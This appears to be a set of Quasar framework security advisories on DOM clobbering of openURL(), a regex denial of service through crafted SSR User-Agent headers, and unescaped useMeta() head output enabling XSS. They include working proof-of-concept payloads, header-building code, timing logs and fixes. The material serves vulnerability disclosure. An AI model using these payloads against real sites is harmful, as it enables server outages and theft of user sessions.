Summary

A DOM Clobbering vulnerability exists in Quasar's openURL() utility when handling the iOS SafariViewController bridge.

The vulnerable implementation only checks whether window.SafariViewController exists before invoking it as a native bridge object. An attacker who can inject HTML content containing a named element such as <a id="SafariViewController"> can cause the browser to expose that element as window.SafariViewController.

When openURL() is later called in an iOS environment, Quasar incorrectly treats the DOM element as the native bridge object and attempts to invoke bridge methods that do not exist, resulting in:

TypeError: window.SafariViewController.isAvailable is not a function

This can cause client-side denial of service and break navigation-related workflows in Quasar applications.

Details

Quasar provides the openURL() utility to open external URLs. On iOS platforms, this utility supports integration with the native SafariViewController bridge.

The vulnerable code is located in:

ui/src/utils/open-url/open-url.js

The affected logic is:

javascript if (Platform.is.ios && window.SafariViewController !== void 0) { window.SafariViewController.isAvailable(available => { if (available) { window.SafariViewController.show({ url }, noop, reject) } }) }

The issue is that Quasar only verifies that window.SafariViewController is not undefined. It does not verify whether the value is the expected native bridge object or whether required methods such as isAvailable() and show() are valid functions.

Modern browsers expose elements with specific id or name attributes as properties of the global window object. Therefore, attacker-controlled HTML such as:

html <a id="SafariViewController"></a>

can cause:

javascript window.SafariViewController

to resolve to an HTMLAnchorElement instead of the expected native bridge object.

When Quasar later executes:

javascript window.SafariViewController.isAvailable(...)

the DOM element is incorrectly treated as the bridge object, causing:

TypeError: window.SafariViewController.isAvailable is not a function

The root cause is insufficient validation of browser-controlled global properties before using them as trusted native bridge objects.

The vulnerability was verified through the Quasar QEditor rendering path. When attacker-controlled HTML content is rendered into the DOM and creates the SafariViewController named element, subsequent calls to openURL() fail.

Additional component-level affected paths were identified in QSelect and QChatMessage when applications enable HTML rendering features and provide attacker-controlled content. These paths require specific application configurations and were not used as the primary end-to-end reproduction.

PoC

Steps to reproduce

1. Render attacker-controlled HTML content through a Quasar HTML rendering component such as QEditor. 2. Insert the following payload: html <a id="SafariViewController" href="#bridge"> SafariViewController </a>

3. Verify that the browser exposes the element as a global property:

javascript window.SafariViewController

The value resolves to the injected DOM element instead of the expected native bridge object.

4. Trigger a normal workflow that invokes:

javascript openURL('https://example.com')

5. Observe the browser console output:

TypeError: window.SafariViewController.isAvailable is not a function

The URL opening workflow fails because Quasar attempts to invoke native bridge methods on the DOM element.

The same underlying issue can also affect other HTML rendering paths such as QSelect and QChatMessage when attacker-controlled HTML is rendered and the application later calls openURL().

Impact

This vulnerability is a client-side DOM Clobbering and type confusion issue affecting Quasar applications that use the iOS SafariViewController integration. An attacker who can control HTML content rendered into the application DOM may cause Quasar's openURL() functionality to fail by replacing the expected native bridge object with a DOM element through browser named property resolution.

Potentially affected workflows include external URL navigation, OAuth/login redirects, help or documentation links, payment flows, third-party service redirects, and other application actions that rely on URL opening functionality.

The confirmed impact is client-side denial of service and navigation or workflow disruption. When the vulnerable condition is triggered, Quasar throws an exception while attempting to invoke methods on the clobbered SafariViewController object, preventing the expected URL opening behavior.

Summary

One unauthenticated request with a crafted User-Agent stalls a Quasar SSR server for seconds.

Quasar auto-installs its Platform plugin on every server-side render, and Platform.parseSSR() feeds the raw, unbounded User-Agent request header into a chain of backtracking regular expressions in getMatch(). One of those patterns contains a greedy capture followed by two unbounded . scans, so a crafted header costs time proportional to the cube of its length. An 8 KB User-Agent blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.

Details

Platform is in the autoInstalledPlugins array in ui/src/install-quasar.js, so it is installed unconditionally by app.use(Quasar, ...). The generated SSR entry (app-vite/templates/entry/app.js, called from app-vite/templates/entry/server-entry.js) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (ui/src/plugins/platform/Platform.js):

js Platform.parseSSR = ssrContext => { const ua = ssrContext.req.headers['user-agent'] || ssrContext.req.headers['User-Agent'] || ''

return { ...client, userAgent: ua, is: getPlatform(ua) } }

getPlatform() lowercases the string and passes it to getMatch() (ui/src/plugins/platform/Platform.js:23-45), which evaluates an ordered chain of exec() calls. The sixth alternative, at ui/src/plugins/platform/Platform.js:32-34, is the problem:

js /(webkit)\/.(version)\/.(safari)\//.exec(userAgent)

([\w.]+) is greedy and unbounded, and it is followed by two unbounded . scans. When the input contains webkit/, many version/ tokens, and no safari/, the pattern can only fail after the engine has tried every combination of "where ([\w.]+) stops" against "which version occurrence the first . lands on" against "how far the second . searches for safari". That is O(k m L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.

Measured on the functions loaded verbatim out of ui/src/plugins/platform/Platform.js, cost grows by a factor of eight for every doubling of the header:

UA 3998 B -> 554 ms UA 7998 B -> 4368 ms fits nginx default largeclientheaderbuffers 8k UA 15998 B -> 34995 ms fits Node.js default --max-http-header-size 16k

A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.

Client-side rendering is not affected: there getPlatform() only ever sees navigator.userAgent, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.

PoC

The vulnerable pattern ships in the published package. From nodemodules/quasar/dist/quasar.server.prod.js of quasar@2.23.1:

function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||... ||/(webkit)\/.(version)\/.(safari)\//.exec(e)||... I.parseSSR=e=>{let t=e.req.headers[user-agent]||e.req.headers[User-Agent]||; return{...F,userAgent:t,is:P(t)}};

Build the header:

js const k = 3200 // filler that maximises the greedy capture const m = 479 // "version/" tokens for the first . to land on const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m) // 7998 bytes

Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:

js import http from 'node:http' import { Platform } from 'quasar' // resolves to dist/quasar.server.prod.js

http.createServer((req, res) => { const platform = Platform.parseSSR({ req, res }) // what app.use(Quasar, ...) does res.end(<!doctype html><html><body>browser=${platform.is.name}</body></html>) }).listen(3100, '127.0.0.1')

Results of driving that server with the 7998-byte header:

[1] BASELINE - normal browser UA benign UA, GET / status=200 13 ms benign UA, GET / (2nd) status=200 1 ms

[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length same-size benign UA status=200 2 ms

[3] POSITIVE - crafted User-Agent malicious UA, GET / status=200 4355 ms

[4] POSITIVE - crafted UA against a NON-EXISTENT route malicious UA, GET /404path status=200 4319 ms

[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later attacker (malicious UA) status=200 4329 ms VICTIM (normal browser, benign UA) status=200 4208 ms

[6] SUSTAINED - 5 attacker requests in flight, victim loads the site VICTIM during 5-request flood status=200 21646 ms

Step 5 is the part that matters. The victim sends an ordinary request with an ordinary User-Agent and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.

Negative control on the library itself. One line changed in the installed nodemodules/quasar/dist/quasar.server.prod.js:

- I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}}; + I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};

Re-running the identical attack against the patched build:

[3] malicious UA, GET / status=200 2 ms was 4355 ms [4] malicious UA, GET /404path status=200 2 ms was 4319 ms [5] VICTIM (normal browser) status=200 3 ms was 4208 ms [6] VICTIM during 5-request flood status=200 2 ms was 21646 ms

Detection of real browsers is unchanged by the cap (chrome 126.0.0.0, platform linux), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.

The same numbers come out of a server that never touches parseSSR directly and instead boots Quasar the way the generated entry does, letting install-quasar.js run the auto-installed plugin list on its own:

js const ssrContext = { req, res } const app = createSSRApp(RootComponent) app.use(Quasar, {}, ssrContext) const html = await renderToString(app, ssrContext)

[3] malicious UA, GET / status=200 4354 ms [5] VICTIM (normal browser, benign UA) status=200 4269 ms [6] VICTIM during 5-request flood status=200 21872 ms [2] same-size benign UA (7998 B) status=200 2 ms

Impact

Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both quasar dev -m ssr and quasar build -m ssr. There is no configuration that turns it off, because Platform is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.

Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.

Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local navigator.userAgent. Static site generation is not affected either, because the ssrContext used there is supplied by the developer rather than by a request.

Vulnerability Details

File: ui/src/utils/meta/Meta.js — actually ui/src/plugins/meta/Meta.js (lines 149-176: getAttr() and getHead()) Sink: injectServerMeta() (same file) → ctx.headTags += getHead(data), interpolated verbatim into the raw HTTP response <head> by the production SSR template (app-vite/templates/entry/ssr-prod-webserver.js + app-vite/lib/plugins/vite.html.js) Entry point: the public useMeta() composable (ui/src/composables/use-meta/use-meta.js) — the single documented way apps set page title/meta/link/script tags

Root Cause getHead() is Quasar's SSR-only serializer that turns the meta/link/script/title data collected from every useMeta() call into a literal HTML string, using plain template-literal interpolation with zero HTML-entity escaping and zero attribute-quote escaping:

js function getAttr(seed) { return att => { const val = seed[att] return att + (val !== true && val !== void 0 ? ="${val}" : '') } }

function getHead(meta) { let output = '' if (meta.title) { output += <title>${meta.title}</title> } ... }

Contrast this with the client-side equivalent, apply() (same file, used only in the browser post-hydration), which builds the same tags via document.createElement(...) + tag.setAttribute(att, val) — the browser DOM API automatically escapes attribute values, so the client-side path is not vulnerable. getHead() is a separate, parallel implementation for the SSR case that never received the same protection.

Any string containing </title>, ", or > in a title, meta..content, link..href, or any other attribute value passed to useMeta() breaks out of its intended HTML context and injects arbitrary markup — including a live <script> tag — directly into the raw HTML response sent to every visitor.

Attack Scenario 1. A Quasar SSR application renders dynamic page metadata via the standard, documented useMeta() pattern — e.g. useMeta(() => ({ title: post.title, meta: { description: { name: 'description', content: post.excerpt } } })) for a blog/CMS/product page. 2. An attacker who can influence that underlying text (submit a blog post/comment, set their own profile display name, control a field in an integrated CMS/API) sets it to My Post</title><script>alert(document.cookie)</script>. 3. On every SSR render of that page — for every visitor — getHead() emits this payload unescaped directly into the <head> of the raw HTML response. 4. The victim's browser parses the HTML top-to-bottom; the injected <script> executes immediately, before hydration, with full access to document.cookie and the DOM.

Impact - Type: CWE-79 Cross-Site Scripting - Auth required: No (attacker only needs to influence any text that reaches useMeta() — an extremely common pattern, e.g. blog titles, product names, user display names) - Consequence: Full client-side script execution in the victim site's origin — session/cookie theft, credential phishing overlays, account takeover, defacement. Unlike a typical XSS bug requiring a specific unusual injection point, this affects the single most common useMeta() use case (rendering any dynamic title/description), so it can be triggered even by ordinary content containing &, <, or " without malicious intent, in addition to being trivially exploitable deliberately.

Vulnerable Code (ui/src/plugins/meta/Meta.js lines 149-176) js function getAttr(seed) { return att => { const val = seed[att] return att + (val !== true && val !== void 0 ? ="${val}" : '') } }

function getHead(meta) { let output = '' if (meta.title) { output += <title>${meta.title}</title> } ;['meta', 'link', 'script'].forEach(type => { const metaType = meta[type] for (const att in metaType) { const attrs = Object.keys(metaType[att]) .filter(item => item !== 'innerHTML') .map(getAttr(metaType[att])) output += <${type} ${attrs.join(' ')} data-qmeta="${att}"> if (type === 'script') { output += (metaType[att].innerHTML || '') + '</script>' } } }) return output }

Recommended Fix js function escapeHtml(val) { return String(val) .replaceAll('&', '&amp;') .replaceAll('<', '&lt;') .replaceAll('>', '&gt;') .replaceAll('"', '&quot;') }

function getAttr(seed) { return att => { const val = seed[att] return att + (val !== true && val !== void 0 ? ="${escapeHtml(val)}" : '') } }

function getHead(meta) { let output = '' if (meta.title) { output += <title>${escapeHtml(meta.title)}</title> } // ... rest unchanged, script innerHTML intentionally left raw (JSON-LD use case) }

Verification Confirmed end-to-end on v2.21.1 via a local Node.js HTTP lab harness that imports the real, unmodified Meta.js source and reproduces the exact useMeta() → injectServerMeta() call sequence a real SSR app performs, reached via actual curl requests (not just isolated function calls):

1. POST /submit with {"title":"My Post</title><script>alert(document.cookie)</script>","description":"\"><script>alert(document.domain)</script>"} 2. GET /render/1 returned a raw HTTP response whose <head> contained: <title>My Post</title><script>alert(document.cookie)</script></title><meta name="description" content=""><script>alert(document.domain)</script>" data-qmeta="description"> 3. Verified via grep: 0 occurrences of &lt; (nothing was escaped), 1 occurrence of a literal, unescaped <script>alert(...)</script> tag in the actual HTTP response body.

A fix branch (fix/xss-meta-tag-escaping) is ready with the minimal patch above (adds an escapeHtml() helper used in getAttr()/getHead()); re-running the same PoC against the patched code shows the payload fully HTML-entity-encoded (&lt;script&gt;...) with no live <script> tag, while normal titles containing & still render correctly (&amp;).

QMarkdown (aka quasar-ui-qmarkdown) before 2.0.5 allows XSS via headers even when when no-html is set.

Latest version: 2.35.0

Latest version: 2.35.0

End of life: 6/30/2023, End of support: 4/1/2021, Latest version: 1.22.10

End of life: 6/30/2023, End of support: 4/1/2021, Latest version: 1.22.10